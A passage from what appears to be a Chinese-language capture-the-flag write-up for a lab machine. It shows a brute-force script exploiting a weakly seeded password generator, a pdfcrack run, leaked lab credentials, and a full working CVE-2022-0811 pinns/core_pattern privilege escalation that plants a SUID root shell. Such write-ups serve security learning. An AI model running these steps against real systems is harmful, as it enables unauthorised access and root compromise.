def setupUi(self, MainWindow):
if not MainWindow.objectName():
MainWindow.setObjectName('MainWindow')
MainWindow.resize(560, 408)
self.centralwidget = QWidget(MainWindow)
self.centralwidget.setObjectName('centralwidget')
self.title = QTextBrowser(self.centralwidget)
self.title.setObjectName('title')
self.title.setGeometry(QRect(80, 10, 411, 51))
self.textBrowser_2 = QTextBrowser(self.centralwidget)
self.textBrowser_2.setObjectName('textBrowser_2')
self.textBrowser_2.setGeometry(QRect(10, 80, 161, 41))
self.generate = QPushButton(self.centralwidget)
self.generate.setObjectName('generate')
self.generate.setGeometry(QRect(140, 330, 261, 51))
self.PasswordLength = QSpinBox(self.centralwidget)
self.PasswordLength.setObjectName('PasswordLength')
self.PasswordLength.setGeometry(QRect(30, 130, 101, 21))
self.PasswordLength.setMinimum(10)
self.PasswordLength.setMaximum(40)
self.copyButton = QPushButton(self.centralwidget)
self.copyButton.setObjectName('copyButton')
self.copyButton.setGeometry(QRect(460, 260, 71, 61))
self.textBrowser_4 = QTextBrowser(self.centralwidget)
self.textBrowser_4.setObjectName('textBrowser_4')
self.textBrowser_4.setGeometry(QRect(190, 170, 141, 41))
self.checkBox = QCheckBox(self.centralwidget)
self.checkBox.setObjectName('checkBox')
self.checkBox.setGeometry(QRect(250, 220, 16, 17))
self.checkBox.setCheckable(True)
self.checkBox.setChecked(False)
self.checkBox.setTristate(False)
self.comboBox = QComboBox(self.centralwidget)
self.comboBox.addItem('')
self.comboBox.addItem('')
self.comboBox.addItem('')
self.comboBox.setObjectName('comboBox')
self.comboBox.setGeometry(QRect(350, 130, 161, 21))
self.textBrowser_5 = QTextBrowser(self.centralwidget)
self.textBrowser_5.setObjectName('textBrowser_5')
self.textBrowser_5.setGeometry(QRect(360, 80, 131, 41))
self.password_field = QLineEdit(self.centralwidget)
self.password_field.setObjectName('password_field')
self.password_field.setGeometry(QRect(100, 260, 351, 61))
MainWindow.setCentralWidget(self.centralwidget)
self.statusbar = QStatusBar(MainWindow)
self.statusbar.setObjectName('statusbar')
MainWindow.setStatusBar(self.statusbar)
self.retranslateUi(MainWindow)
QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
MainWindow.setWindowTitle(QCoreApplication.translate('MainWindow', 'MainWindow', None))
self.title.setDocumentTitle('')
self.title.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:20pt;">Secure Password Generator</span></p></body></html>', None))
self.textBrowser_2.setDocumentTitle('')
self.textBrowser_2.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:14pt;">Password Length</span></p></body></html>', None))
self.generate.setText(QCoreApplication.translate('MainWindow', 'Generate!', None))
self.copyButton.setText(QCoreApplication.translate('MainWindow', 'Copy', None))
self.textBrowser_4.setDocumentTitle('')
self.textBrowser_4.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:14pt;">Hide Password</span></p></body></html>', None))
self.checkBox.setText('')
self.comboBox.setItemText(0, QCoreApplication.translate('MainWindow', 'All Characters', None))
self.comboBox.setItemText(1, QCoreApplication.translate('MainWindow', 'Alphabetic', None))
self.comboBox.setItemText(2, QCoreApplication.translate('MainWindow', 'Alphanumeric', None))
self.textBrowser_5.setDocumentTitle('')
self.textBrowser_5.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:16pt;">characters</span></p></body></html>', None))
self.password_field.setText('')
class MainWindow(QMainWindow, Ui_MainWindow):
def __init__(self):
super(MainWindow, self).__init__()
self.setupUi(self)
self.setFixedSize(QSize(550, 400))
self.setWindowTitle('Secure Password Generator')
self.password_field.setReadOnly(True)
self.passlen()
self.chars()
self.hide()
self.gen()
def passlen(self):
self.PasswordLength.valueChanged.connect(self.lenpass)
def lenpass(self, l):
global value
value = l
def chars(self):
self.comboBox.currentIndexChanged.connect(self.charss)
def charss(self, i):
global index
index = i
def hide(self):
self.checkBox.stateChanged.connect(self.status)
def status(self, s):
global status
status = s == Qt.Checked
def copy(self):
self.copyButton.clicked.connect(self.copied)
def copied(self):
pyperclip.copy(self.password_field.text())
def gen(self):
self.generate.clicked.connect(self.genButton)
def genButton(self):
try:
hide = status
if hide:
self.password_field.setEchoMode(QLineEdit.Password)
else:
self.password_field.setEchoMode(QLineEdit.Normal)
password = self.genPassword()
self.password_field.setText(password)
except:
msg = QMessageBox()
msg.setWindowTitle('Warning')
msg.setText('Change the default values before generating passwords!')
x = msg.exec_()
self.copy()
def genPassword(self):
length = value
char = index
if char == 0:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
else:
if char == 1:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
else:
if char == 2:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
else:
try:
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
except:
msg = QMessageBox()
msg.setWindowTitle('Error')
msg.setText('Error while generating password!, Send a message to the Author!')
x = msg.exec_()
return password
if __name__ == '__main__':
app = QtWidgets.QApplication()
mainwindow = MainWindow()
mainwindow.show()
app.exec_()
# okay decompiling passwordGenerator.pyc
关键代码是下面的生成密码函数
def genPassword(self):
length = value
char = index
if char == 0:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
else:
if char == 1:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
else:
if char == 2:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
else:
try:
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
except:
msg = QMessageBox()
msg.setWindowTitle('Error')
msg.setText('Error while generating password!, Send a message to the Author!')
x = msg.exec_()
return password
看到此函数恍然大悟,char=0就是ALL Characters
,char=1是Alphabetic
(字母),char=2是Alphanumeric
(字母数字),那根据刚才看到的screenshot.png
,合理推测第三行char=index=0,第二行length=value=32。根据password生成逻辑,charset有89个字符,每一位都从这89个字符中用qrand()随机一个,那么32位的password就有89的32次方种可能。但是qsrand(QTime.currentTime().msec())
中的.msec()
返回时间的毫秒部分,且范围是0-999,所以随机数种子只有1000种可能,可以爆破。
爆破脚本如下(由于Linux和Windows的python种Qt库可能不太一样,所以需在Windows下运行脚本,在Linux下运行会找不到pdf密码,而且passwordGenerator
也是Windows程序)
from PySide2.QtCore import qsrand, qrand
def genPassword(ms: int) -> str:
length = 32
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
qsrand(ms)
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
return password
passwords = [genPassword(i) for i in range(1000)]
with open('generated.txt', 'w') as f:
f.write('\n'.join(passwords))
把刚生成的txt文件当作字典,用pdfcrack
爆破,找到密码
┌──(root💀kali)-[~/Desktop]
└─# pdfcrack -f notes.pdf -w generated.txt
PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -1028
Length: 128
Encrypted Metadata: True
FileID: c19b3bb1183870f00d63a766a1f80e68
U: 4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000
O: cf30caf66ccc3eabfaf371623215bb8f004d7b8581d68691ca7b800345bc9a86
found user-password: 'YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS'
打开pdf文件如下

获得用户密码
Ethan
b@mPRNSVTjjLKId1T
ssh连上

用如下命令查询拥有suid权限的文件
ethan@vessel:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/at
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/usr/bin/pinns
最后一个/usr/bin/pinns
最可疑,google一下pinns exploit
,看到如下文章
七、CVE-2022-0811
漏洞产生的应用是CRI-O(一个基于Kubernetes的实时容器引擎),漏洞名称叫cr8escape
在CRI-O版本1.19,pinns支持sysctl
(system control),即可以被用来设置内核参数值,而且不需要任何认证,命令格式如下
内核参数:https://docs.kernel.org/admin-guide/sysctl/kernel.html
pinns -s kernel_parameter1=value1+kernel_parameter2=value2
其中kernel_parameter1
和kernel_parameter2
是两个参数名,两个赋值语句中间用“+”连接,pinns只检查kernel_parameter1
以确保是一个安全的内核参数,kernel_parameter2
可以被设置为任意的内核参数
用如下命令查看CRI-O版本是1.19.6,属于漏洞覆盖范围
ethan@vessel:~$ crio --version
crio version 1.19.6
Version: 1.19.6
GitCommit: c12bb210e9888cf6160134c7e636ee952c45c05a
GitTreeState: clean
BuildDate: 2022-03-15T18:18:24Z
GoVersion: go1.15.2
Compiler: gc
Platform: linux/amd64
Linkmode: dynamic
参考上面crowdstrike的CVE分析文章,文章中用的内核参数是kernel.shm_rmid_forced
和kernel.core_pattern

kernel.shm_rmid_forced=1
表示没有用户占用、且进程已被终止的共享内存段会被自动销毁

kernel.core_pattern
的第一个字符如果是“|”,那么后面的字符串就会当作命令被执行
此处有个概念:内核转储(coredump),在进程发生问题时保存进程的运行状态
盘一盘逻辑:某一进程发生问题→触发内核转储→内核转储会根据kernel.core_pattern
的设置确定存储信息的文件→kernel.core_pattern
第一个字符“|”后的字符串会当作命令被执行
中间的部分操作系统自动处理不用管,只需要操作第一步和最后一步,即想办法让某一进程出问题,并且预先设置好kernel.core_pattern
的值,便于执行命令
让某一进程出问题:可以用kill
进程的方式实现
预先设置kernel.core_pattern
的值:此处是pinns提供了修改内核参数的功能,所以用pinns去设置,格式如下
pinns -s kernel_parameter1=value1+kernel_parameter2=value2
注:保证kernel_parameter1=value1
是合法赋值,kernel_parameter2
位置是kernel.core_pattern
,value2
位置是“|”开头,后面跟想要执行的命令或者脚本文件
于是用构造如下命令
pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/tmp/exp.sh #'
先查看想要修改的两个文件
ethan@vessel:~$ cat /proc/sys/kernel/core_pattern /proc/sys/kernel/shm_rmid_forced
|/usr/share/apport/apport %p %s %c %d %P %E
0
执行构造好的命令,发现如下报错,并且查看目标文件,没有变化
ethan@vessel:~$ pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/tmp/exp.sh #'
[pinns:e]: Path for pinning namespaces not specified: Invalid argument
查看pinnx源码,发现报错的原因
pinns源码:https://github.com/cri-o/cri-o/blob/v1.19.1/pinns/src/pinns.c
发现如下两个逻辑代码段
static const struct option long_options[] = {
{"help", no_argument, NULL, 'h'},
{"uts", optional_argument, NULL, 'u'},
{"ipc", optional_argument, NULL, 'i'},
{"net", optional_argument, NULL, 'n'},
{"user", optional_argument, NULL, 'U'},
{"cgroup", optional_argument, NULL, 'c'},
{"dir", required_argument, NULL, 'd'},
{"filename", required_argument, NULL, 'f'},
{"sysctl", optional_argument, NULL, 's'},
};
if (!pin_path) {
pexit("Path for pinning namespaces not specified");
}
if (!filename) {
pexit("Filename for pinning namespaces not specified");
}
if (directory_exists_or_create(pin_path) < 0) {
nexitf("%s exists but is not a directory", pin_path);
}
if (num_unshares == 0) {
nexit("No namespace specified for pinning");
}
if (unshare(unshare_flags) < 0) {
pexit("Failed to unshare namespaces");
}
结合全部代码分析,整体要求就是:
1.要有-d
参数,且参数值指定目录要存在或者可以被创建;
2.要有-f
参数,参数值任意,但不能为空;
3.-u -i -n -U
四个参数至少有一个(此处笔者只试了一个-U
,理论上保证num_unshares
不为0即可)。
重新构造,执行如下命令
ethan@vessel:~$ pinns -s 'kernel.shm_rmid_forced=1'+'kernel.core_pattern=|/dev/shm/exp.sh #' -f file -d /dev/shm -U
[pinns:e]: Failed to bind mount ns: /proc/self/ns/user: Operation not permitted
虽有报错,但不影响,再次查看目标文件内容,修改成功
ethan@vessel:~$ cat /proc/sys/kernel/core_pattern /proc/sys/kernel/shm_rmid_forced
|/dev/shm/exp.sh #
1
向/dev/shm/exp.sh
写入想要执行的代码(此处就是把/bin/bash
复制到/tmp/wa0er
,并给予4755
权限,也就是suid和755权限),并给/dev/shm/exp.sh
添加执行权限
ethan@vessel:~$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/wa0er\nchown root:root /tmp/wa0er\nchmod 4755 /tmp/wa0er' | tee /dev/shm/exp.sh
#!/bin/bash
cp /bin/bash /tmp/wa0er
chown root:root /tmp/wa0er
chmod 4755 /tmp/wa0er
ethan@vessel:~$ chmod +x /dev/shm/exp.sh
执行sleep命令,并用killall
终止进程,-s SIGSEGV
表示访问未分配给自己的内存,此处可看到回显(core dumped),即进入内核转储
ethan@vessel:~$ sleep 100&
[1] 1676
ethan@vessel:~$ killall -s SIGSEGV sleep
[1]+ Segmentation fault (core dumped) sleep 100
查看/tmp/wa0er
文件权限,已有suid权限
ethan@vessel:~$ ls -l /tmp/wa0er
-rwsr-xr-x 1 root root 1183448 Mar 27 13:07 /tmp/wa0er
执行/tmp/wa0er -p
提权,成功获取root权限
Over!
